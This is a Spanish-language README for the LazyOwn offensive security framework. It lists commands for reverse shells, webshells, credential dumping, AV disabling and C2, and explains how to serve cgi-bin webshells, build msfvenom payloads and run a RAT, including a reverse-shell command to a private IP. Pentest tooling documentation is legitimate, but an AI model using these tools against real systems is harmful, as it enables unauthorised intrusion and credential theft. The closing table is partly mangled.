gets4uticket_py printerbug_py sqli_mssql_test
Post-Exploitation
─────────────────────
add2find exe2bin pezorsh
adversary exe2donutbin pip_proxy
adversary_yaml extract_yaml pip_repo
aes_pe find powershell_cmd_stager
ai_playbook follina rmfromfind
apt_proxy hex2shellcode rubeus
apt_repo internet_proxy scavenger
atomic_lazyown issue_command_to_c2 scp
bin2shellcode lazywebshell service_ssh
convert_remcomsvc_from_file mimikatzpy sessionsshstrace
cports msfshellcoder shellcode
create_synthetic ofuscate_string shellcode2elf
createpayload ofuscatesh shellcode2sylk
d3monizedshell ofuscatorps1 shellcode_search
disableav path2hex ssh_cmd
Persistence
───────────────
asprevbase64 ftp msfpc setoolKits
backdoor_factory generate_revshell paranoid_meterpreter ssh
conptyshell grisun0 pwncat toctoc
createrevshell grisun0w pwncatcs veil
createwebshell ivy rdp weevely
createwinrevshell knokknok revwin weevelygen
darkarmour listener_go scarecrow
dr0p1t listener_py service
Privilege Escalation ──────────────────────── responder smbserver
Credential Access
─────────────────────
addusers cred john2hash rocky
adsso_spray creds_py john2keepas searchhash
cewl crunch john2zip smalldic
crack_cisco_7_password cubespraying keepass spraykatz
createcredentials dacledit medusa sshkey
createhash generatedic passtightvnc sudo
createmail hashcat passwordspray transform
createusers_and_hashs hydra refill_password username_anarchy
Lateral Movement
────────────────────
addcli id_rsa penelope sshd wifipass
bloodyAD lateral_mov_lin regeorg stormbreaker wmiexec
chisel ligolo rnc targetedKerberoas wmiexecpro
dcomexec mssqlcli set_proxychains tord
getTGT nc shadowsocks upload_c2
gospherus ngrok socat vpn
Data Exfiltration
─────────────────────
adgetpass dploot evilwinrm getuserspns reg_py secretsdump
decrypt encrypt getadusers gitdumper rsync unzip
download_c2 evidence getnthash_py gmsadumper samdump2 upload_gofile
Command & Control
─────────────────────
atomic_agent automsf emp3r0r mitre_test sliver_server
atomic_gen c2 empire msf
atomic_tests caldera generate_playbook msfrpc
attack_plan duckyspark iis_webdav_upload_asp my_playbook
Reporting
─────────────
apropos createtargets gpt process_scans
banners download_malwarebazar groq pth_net
c2asm extract_ports img2vid pup
camphish eyewitness malwarebazar vulns
create_session_json eyewitness_py morse
createjsonmachine get_avaible_actions name_the_hash
createjsonmachine_batch gowitness nmapscripthelp
Miscellaneous
─────────────────
acknowledgearp clone_site getseclist links run
acknowledgeicmp cron graph list sh
addhosts decode h load_session show
aliass download_resources hex_to_plaintext nano sys
assign encode ignorearp news tab
banner encoderpayload ignoreicmp payload urldecode
base64decode encodewinbase64 ip pwd urlencode
base64encode exit ip2asn qa v
check_update fixel ip2hex rhost
clean fixperm kick rot
clock gencert lazyscript rotf
Lua Plugin
──────────────
generate_c_reverse_shell lolbas_certutil_download_exec
generate_cleanup_commands lolbas_certutil_exe
generate_html_payload lolbas_mshta_js
generate_lateral_command lolbas_mshta_reverse_shell
generate_linux_asm_reverse_shell lolbas_rundll32_dll
generate_linux_raw_shellcode lolbas_wmic_xsl_execution
generate_lolbird parse_nmap_with_xmlstarlet
generate_msfvenom_loader run_nuclei_on_nmap_files
generate_msfvenom_loader_windows run_python_rev_c2
generate_reverse_shell rundll32_sct_from_url
generate_stub validate_shellcode
kerberos_harvest visualize_network
lolbas_bitsadmin_exe
Yaml Addon. ─────────────── AdaptixC2 GoPEInjection OverRide agentzero gosearch peeko argfuscator gui pretender ATTPwn gui2 PTMultiTools AuroraPatch hack_browser_data PTMultiTools_scan banner_tool hellbird PyinMemoryPE bbr hive pyrit beacon hooka_linux_amd64 raven blacksandbeacon hostdiscover ridenum blacksandbeacon_bof kivi_revshell setoolkit cgoblin_windows laps ShadowLink Clematis lazyaddon_creator shellcode_custom_win_rev_tcp_xored commix2 lazyagentAi SigPloit copy-fail-CVE-2026-31431 lazybinenc spoonmap CVE-2022-22077 lazyftpsniff stratus_detonate CVE_2025_24071_PoC LazyLoader stratus_list demiguise lazymapd toposwarm ebird3 lazyownbt unicorn evilginx2 LazyOwnExplorer upxdump gcr llm vulnbot gemini-cli NullGate vulnbot_groq gen_dll_rev oniux vulnhuntr Get_ReverseShell opencode_adapter watchguard githubot orpheus wspcoerce gomulti_loader_linux gomulti_loader_windows
Adversary YAML.
───────────────────
amsi_c implant_nim_nim infect_c pid_c
implant_crypt_go implant_rust_rs persist_ps1 shell_c
Artificial Intelligence ─────────────────────────── ai_toggle
Uncategorized Commands
──────────────────────
addalias gobuster_dns ipy ollama_enum set
alias gobuster_http listaliases pop shell
edit gobuster_web macro quit shortcuts
EOF help nikto_host rrhost subwfuzz_tool
ffuf_enumeration history notify run_pyscript
ffuf_tool ipp nuclei_ad_http run_script
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $
## Etiqueta en youtube
<https://www.youtube.com/hashtag/lazyown>
## Podcast
<https://www.youtube.com/watch?v=m4FtlhownvM&list=PLW9Qe5HJK5CFXyIsF9b0NB6n9EY8Am3YZ>
## DeepWiki
<https://deepwiki.com/grisuno/LazyOwn/>```sh
LazyOwn> assign binary_name my_binary
LazyOwn> assign rhost 192.168.1.100
LazyOwn> assign api_key my_api_key
LazyOwn> run lazysearch
LazyOwn> run lazynmap
LazyOwn> exit

Para buscar dentro de la base de datos extraída de GTFOBins.```sh python3 lazysearch.py binario_a_buscar
## Búsquedas con GUI
Características y mejoras adicionales:
AutocompleteEntry:
Se ha añadido un filtro para eliminar los valores None de la lista de autocompletado.
Nuevo vector de ataque:
Se ha añadido un botón "New Attack Vector" a la interfaz principal.
Se ha implementado la funcionalidad para añadir un nuevo vector de ataque y guardar los datos actualizados en archivos Parquet.
Exportar a CSV:
Se ha añadido un botón "Export to CSV" a la interfaz principal.
Se ha implementado la funcionalidad para exportar los datos del DataFrame a un archivo CSV seleccionado por el usuario.
Uso:
Añadir un nuevo vector de ataque: Haga clic en el botón "New Attack Vector", rellene los campos y guarde.
Exportar a CSV: Haga clic en el botón "Export to CSV" y seleccione la ubicación para guardar el archivo CSV.
Nueva función scan_system_for_binaries:
Implementa búsquedas de binarios en todo el sistema utilizando el comando file para determinar si un archivo es binario.
Utiliza os.walk para recorrer el sistema de archivos.
Los resultados se muestran en una nueva ventana dentro de la GUI.
Botón para buscar binarios:
Se ha añadido un botón "Search System for Binaries" a la interfaz principal, que llama a la función scan_system_for_binaries.
Nota:
La función is_binary utiliza el comando Unix file para determinar si un archivo es un ejecutable binario. Si está en un sistema operativo diferente, deberá ajustar este método para su compatibilidad.
Esta implementación puede consumir muchos recursos, ya que recorre todo el sistema de archivos. Puede considerar añadir opciones adicionales para limitar la búsqueda a directorios específicos o filtrar por ciertos tipos de archivos.```sh
python3 LazyOwnExplorer.py
```sh
python3 lazyown.py
Si deseas actualizar, procedemos de la siguiente manera:```sh
cd LazyOwn
rm parquets/*.csv
rm parquets/*.parquet
./update_db.sh
LazyOwn Webshell Collection es una colección de webshells para nuestro framework, que nos permite establecer una webshell en la máquina donde ejecutamos LazyOwn utilizando varios lenguajes de programación. Esencialmente, LazyOwn Webshell levanta un servidor web dentro del directorio de módulos, haciéndolo accesible a través de un navegador web. Esto nos permite tanto poner los módulos a disposición por separado a través de la web como acceder al directorio cgi-bin, donde hay cuatro shells: una en Bash, otra en Perl, otra en Python y una en ASP, en caso de que el objetivo sea una máquina Windows.```sh lazywebshell
y listo ya podemos acceder a cualquiera de estas url:
<http://localhost:8080/cgi-bin/lazywebshell.sh>
<http://localhost:8080/cgi-bin/lazywebshell.py>
<http://localhost:8080/cgi-bin/lazywebshell.asp>
<http://localhost:8080/cgi-bin/lazywebshell.cgi>

## Usar Lazy MSFVenom para Reverse Shell
Ejecuta la herramienta `msfvenom` para generar una variedad de payloads basados en la entrada del usuario.
Esta función solicita al usuario que seleccione un tipo de payload de una lista predefinida y ejecuta el comando
`msfvenom` correspondiente para crear el payload deseado. Maneja tareas como la generación de diferentes tipos de
payloads para sistemas Linux, Windows, macOS y Android, incluyendo codificación opcional con Shikata Ga Nai para payloads de C.
Los payloads generados se mueven a un directorio `sessions`, donde se establecen los permisos adecuados. Además,
los payloads se pueden comprimir usando UPX para ahorrar espacio. Si el payload seleccionado es un APK de Android,
la función también firmará el APK y realizará los pasos de post-procesamiento necesarios.
:param line: Argumentos de línea de comandos para el script.
:return: None```sh
run lazymsfvenom or venom
El sistema de Comando y Control (C2) permite operaciones remotas a través de una arquitectura cliente-servidor con comunicaciones cifradas.

Se creará un archivo en /tmp con el nombre binary_name establecido en el payload, inicializado con gzip en memoria, y usando bash en el payload. Para establecer el payload desde el JSON, use el comando payload para ejecutar. Use:```sh lazypathhijacking
## Uso del modo LazyOwn RAT

LazyOwn RAT es una herramienta de administración remota simple pero potente. Cuenta con una función de captura de pantalla que captura la pantalla del servidor, un comando de carga que nos permite subir archivos a la máquina comprometida, y un modo C&C donde se pueden enviar comandos al servidor. Opera en dos modos: modo cliente y modo servidor. No hay ofuscación, y el RAT está basado en BasicRat. Puedes encontrarlo en GitHub en https://github.com/awesome-security/basicRAT y en https://github.com/hash3liZer/SillyRAT. Aunque este último es mucho más completo, yo solo quería implementar la captura de pantalla, la carga de archivos y el envío de comandos. Quizás en el futuro añada la funcionalidad de visualización de webcam, pero eso vendrá después.```sh
usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY
lazyownserver.py: error: the following arguments are required: --key
usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY
lazyownclient.py: error: the following arguments are required: --host, --port, --key
LazyOwn> run lazyownclient
[?] lhost and lport and rat_key must be set
LazyOwn> run lazyownserver
[?] rhost and lport and rat_key must be set
luego los comandos son:
upload /path/to/file
donwload /path/to/file
screenshot
sysinfo
fix_xauth #to fix xauth xD
lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

LazyMeta Extract0r es una herramienta diseñada para extraer metadatos de varios tipos de archivos, incluidos PDF, DOCX, archivos OLE (como DOC y XLS) y varios formatos de imagen (JPG, JPEG, TIFF). Esta herramienta recorrerá un directorio especificado, buscará archivos con extensiones compatibles, extraerá los metadatos y los guardará en un archivo de salida.
[*] Iniciando: LazyMeta extract0r [;,;]
usage: lazyown_metaextract0r.py [-h] --path PATH lazyown_metaextract0r.py: error: the following arguments are required: --path```sh python3 lazyown_metaextract0r.py --path /home/user

## Modo de uso descifrar cifrar
Un método de cifrado que nos permite tanto cifrar archivos como descifrarlos si tenemos la clave, por supuesto.
```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt

El uso de Lazynmap nos proporciona un script automatizado para un objetivo, en este caso, 127.0.0.1, utilizando Nmap. El script requiere permisos administrativos mediante sudo. También incluye un módulo de descubrimiento de red para identificar qué hay presente en el segmento IP en el que te encuentras. Además, ahora se puede llamar al script sin parámetros usando el alias nmap o con el comando run lazynmap.
```sh
./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap
## Uso del Asistente y Investigador CLI de Una Sola Línea LazyOwn GPT
¡Descubre la revolución en la automatización de tareas de pentesting con el Asistente CLI de Una Sola Línea LazyOwn GPT! Este increíble script es parte de la suite de herramientas LazyOwn, diseñado para hacer tu vida como pentester más eficiente y productiva.
Características Clave:
Automatización Inteligente: Aprovecha el poder de Groq y modelos avanzados de lenguaje natural para generar comandos precisos y eficientes según tus necesidades específicas.
Interfaz Amigable: Con un simple prompt, el asistente genera y ejecuta scripts de una sola línea, reduciendo drásticamente el tiempo y esfuerzo involucrados en la creación de comandos complejos.
Mejora Continua: Transforma y optimiza continuamente su base de conocimiento para ofrecerte las mejores soluciones, adaptándose a cada situación.
Depuración Simplificada: Habilita el modo de depuración para obtener información detallada en cada paso, facilitando la identificación y corrección de errores.
Integración Perfecta: Funciona sin esfuerzo dentro de tu espacio de trabajo, aprovechando el poder de la API de Groq para entregar respuestas rápidas y precisas.
Seguridad y Control:
Manejo Seguro de Errores: Detecta y responde inteligentemente a errores de ejecución, asegurando que mantengas el control total sobre cada comando generado.
Ejecución Controlada: Antes de ejecutar cualquier comando, solicita tu confirmación, dándote tranquilidad al saber exactamente qué se está ejecutando en tu sistema.
Configuración Sencilla:
Configura tu clave API en segundos y comienza a disfrutar de todos los beneficios que ofrece el Asistente CLI de Una Sola Línea LazyOwn GPT. Una guía de inicio rápido está disponible para ayudarte a configurar y maximizar el potencial de esta poderosa herramienta.
Ideal para Pentesters y Desarrolladores:
Optimiza Tus Procesos: Simplifica y acelera la generación de comandos en tus auditorías de seguridad.
Aprendizaje Continuo: La base de conocimiento se actualiza y mejora constantemente, proporcionándote siempre las últimas mejores prácticas y soluciones.
Con el Asistente CLI de Una Sola Línea LazyOwn GPT, transforma la forma en que trabajas, haciéndola más rápida, eficiente y segura. ¡Deja de perder tiempo en tareas repetitivas y complejas, y concéntrate en lo que realmente importa: descubrir y resolver vulnerabilidades!
¡Únete a la revolución del pentesting con LazyOwn y lleva tu productividad al siguiente nivel!
[?] Uso: python lazygptcli.py --prompt "<your prompt>" [--debug]
[?] Opciones:
--prompt "The prompt for the programming task (required)."
--debug, -d "Enables debug mode to display debug messages."
--transform "Transforms the original knowledge base into an enhanced base using Groq."
[?] Asegúrate de configurar tu clave API antes de ejecutar el script:
export GROQ_API_KEY=<your_api_key>
[->] Visita: https://console.groq.com/docs/quickstart (no es un enlace patrocinado)
Requisitos:
Python 3.x
Una clave API de Groq válida
Pasos para Obtener la Clave API de Groq:
Visita Groq Console (https://console.groq.com/docs/quickstart) para registrarte y obtener una clave API.```sh
export GROQ_API_KEY=<tu_api_key>
python3 lazygptcli.py --prompt "<tu prompt>" [--debug]

Proporcione los argumentos según lo especificado por las solicitudes del script: El script requerirá los siguientes argumentos:
usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA] [--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE] --url: La URL a la que se enviará la solicitud (obligatorio). --method: El método HTTP a utilizar, como GET o POST (opcional, predeterminado: GET). --headers: Los encabezados de la solicitud en formato JSON (opcional, predeterminado: {}). --params: Los parámetros de la URL en formato JSON (opcional, predeterminado: {}). --data: Los datos del formulario en formato JSON (opcional, predeterminado: {}). --json_data: Los datos JSON para la solicitud en formato JSON (opcional, predeterminado: {}). --proxy_port: El puerto para el proxy interno (opcional, predeterminado: 8080). -w, --wordlist: La ruta a la wordlist para el modo de fuzzing (opcional). -hc, --hide_code: El código de estado HTTP a ocultar en la salida (opcional). Asegúrese de proporcionar los argumentos requeridos para garantizar que el script se ejecute correctamente.```sh python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'
Forma 2: Uso avanzado
Si deseas aprovechar las funciones avanzadas del script, como la repetición de solicitudes o el fuzzing, sigue estos pasos:
Repetición de solicitudes:
Para utilizar la funcionalidad de repetición de solicitudes, proporciona los argumentos como se indicó anteriormente.
Durante la ejecución, el script preguntará si deseas repetir la solicitud. Ingresa 'y' para repetir o 'n' para terminar el repetidor.
Fuzzing:
Para usar la funcionalidad de fuzzing, asegúrate de proporcionar una wordlist con el argumento -w o --wordlist.
El script reemplazará la palabra LAZYFUZZ en la URL y otros datos con las palabras de la wordlist proporcionada.
Durante la ejecución, el script mostrará los resultados de cada iteración de fuzzing.
Estas son las formas básicas y avanzadas de usar el script lazyburp.py. Dependiendo de tus necesidades, puedes elegir el método que mejor se adapte a tu situación específica.```sh
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ" \
--method POST \
--headers '{"User-Agent": "LAZYFUZZ"}' \
--params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
--data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
--json_data '{"key3": "LAZYFUZZ"}' \
--proxy_port 8080 \
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
-hc 501
| --no-color | Desactiva la salida en color |
| --debug | Habilita el registro de depuración |
| --verbose | Habilita el registro detallado |
---
[Read more](https://github.com/grisuno/lazyown)
confirm=truelazyown_c2_command, lazyown_c2_redop, lazyown_c2_adversary, y cualquier run_command cuyo cuerpo coincida con rm -rf / exfil / wipe / encrypt-file ahora requieren un argumento explícito confirm=true. |
| Previene acciones destructivas accidentales desde bucles autónomos. |
| Procedencia + confianza en credenciales | Cada credencial expuesta vía target_context incluye is_likely_credential, confidence, classification, y un bloque provenance (source_file, line_no, captured_at) cuando se encuentra. | Requerido para la cadena de custodia en informes de pentest. |
| Anotaciones de frescura | Cada archivo de evidencia en el SITREP JSON y target_context lleva age_seconds, age_human, y stale=true una vez que supera freshness_threshold_seconds (predeterminado 7 días; configurable por llamada). | Evita que el agente explote sobre evidencia de reconocimiento obsoleta. |
cmesecretsdumpPayloadAwareCompleter |
| Resolución dinámica de alias | cli/aliases.py ahora usa lazy=True por defecto: las plantillas de alias conservan sus marcadores {rhost}/{lhost}/etc. y se renderizan contra self.params en tiempo de ejecución. set rhost X se propaga a cada alias en la siguiente pulsación de tecla (sin reiniciar el shell). La pre-sustitución sigue disponible con lazy=False. | DynamicAliasResolver, cli/aliases.py |